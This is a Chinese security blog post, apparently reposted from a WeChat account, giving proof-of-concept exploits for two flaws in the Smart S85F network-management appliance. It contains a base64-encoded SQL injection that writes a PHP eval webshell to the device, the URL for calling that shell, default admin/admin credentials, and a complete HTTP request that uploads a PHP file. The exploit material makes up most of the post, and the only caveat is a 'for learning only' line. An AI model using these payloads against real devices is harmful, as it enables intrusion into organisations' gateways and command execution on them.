简介
百卓Smart S85F是Smart系列上网行为管理设备中的明星产品，它是专为中小型企业量身打造的专业级新品，它在功能设计方面充分考虑了中小型企业对网络设备高性价比的需求，将多种应用功能集于一身，包括网络应用封堵、流量控制、链路负载均衡、网页分类阻断、上网内容审计、防火墙、VPN等，可帮助企业有效减少网络建设成本、规范员工上网行为、提升网络带宽利用率、避免企业信息泄露、增强网络稳定性和安全性。
CVE-2023-4120 SQL注入导致的文件写入GetShell
漏洞描述
北京百绰智能S85F管理平台发现漏洞，漏洞编号为20230722，级别为严重。此问题影响文件 importhtml.php 的某些未知处理，对参数 sql 的操作会导致命令注入，攻击可能是远程发起的，该漏洞已向公众披露并可能被使用。
影响版本
Smart S85F
漏洞复现
-
SQL命令注入
https://xxx.xxx.xxx/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNDA2NTc2NjE2YzI4MjQ1ZjUyNDU1MTU1NDU1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiMjAzZjNlIGludG8gb3V0ZmlsZSAnL3Vzci9oZGRvY3MvbnNnL2FwcC9tb2R1bGUuY2xhc3MucGhwJw==2.访问shell地址
http://xxx.xxx.xxx/app/module.class.php?cmd=phpinfo();
CVE-2023-4121 后台任意文件上传
漏洞描述
北京百绰智能S85F管理平台发现漏洞，漏洞编号为20230722，级别为严重。受影响的是未知功能，对参数 file_upload 的操作会导致上传不受限制，可以远程发起攻击。该漏洞已向公众披露并可能被使用。
影响版本
Smart S85F
漏洞复现
1.登录后台，默认账户密码admin/admin，登录后替换cookie上传
POST /useratte/web.php? HTTP/1.1Host: xxx.xxx.xxx:8443Cookie: PHPSESSID=3b0048dc500aea61e25f3b1de573f65dUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328Content-Length: 611Origin: https://xxx.xxx.xxx:8443Referer: https://xxx.xxx.xxx:8443/sysmanage/licence.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="file_upload"; filename="2.php"Content-Type: application/octet-stream<?php phpinfo(); ?>-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="id_type"1-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="1_ck"1_radhttp-----------------------------42328904123665875270630079328Content-Disposition: form-data; name="mode"import-----------------------------42328904123665875270630079328
2.上传后shell地址：http://xxx.xxx.xxx/upload/2.php
参考链接
https://nvd.nist.gov/vuln/detail/CVE-2023-4120https://github.com/RCEraser/cve/blob/main/rce.mdhttps://nvd.nist.gov/vuln/detail/CVE-2023-4121https://github.com/torres14852/cve/blob/main/upload.mdhttps://www.byzoro.com/
仅供学习交流，勿用作违法犯罪！！！
原文始发于微信公众号（不够安全）：Smart S85F管理系统 最新漏洞两枚 CVE-2023-4120和CVE-2023-4121
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论